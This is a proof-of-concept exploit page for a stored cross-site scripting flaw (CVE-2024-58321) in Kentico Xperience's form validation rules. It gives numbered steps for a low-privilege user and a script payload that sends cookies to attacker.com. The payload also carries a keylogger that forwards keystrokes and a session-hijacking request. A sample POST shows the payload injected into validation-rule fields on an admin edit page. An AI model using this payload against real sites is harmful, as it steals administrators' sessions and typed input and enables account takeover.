CVE-2024-58321: Kentico Xperience 表单验证规则存储型XSS漏洞

// CVE-2024-58321 - Kentico Xperience Stored XSS PoC // Description: Stored XSS via form validation rule configuration // CVSS: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) // Step 1: Login to Kentico Xperience with low-privilege account // Step 2: Navigate to Form Builder or Validation Rules section // Step 3: Create or edit a validation rule // Step 4: Inject the following XSS payload in validation rule parameter: const xssPayload = ` <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie=' + document.cookie + '"/>'); // Alternative payload - keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); // Session hijacking fetch('https://attacker.com/api/session', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: window.location.href }) }); </script> `; // Step 5: Save the validation rule // Step 6: When admin views the form validation rules, XSS executes // Example validation rule injection: const exploitRequest = { method: 'POST', path: '/CMSModules/Forms/Controls/ValidationRule/Edit.aspx', data: { ValidationRuleName: 'CustomValidator', ValidationRuleType: 'Custom', // Inject XSS payload here ErrorMessage: xssPayload, RuleParameters: xssPayload } };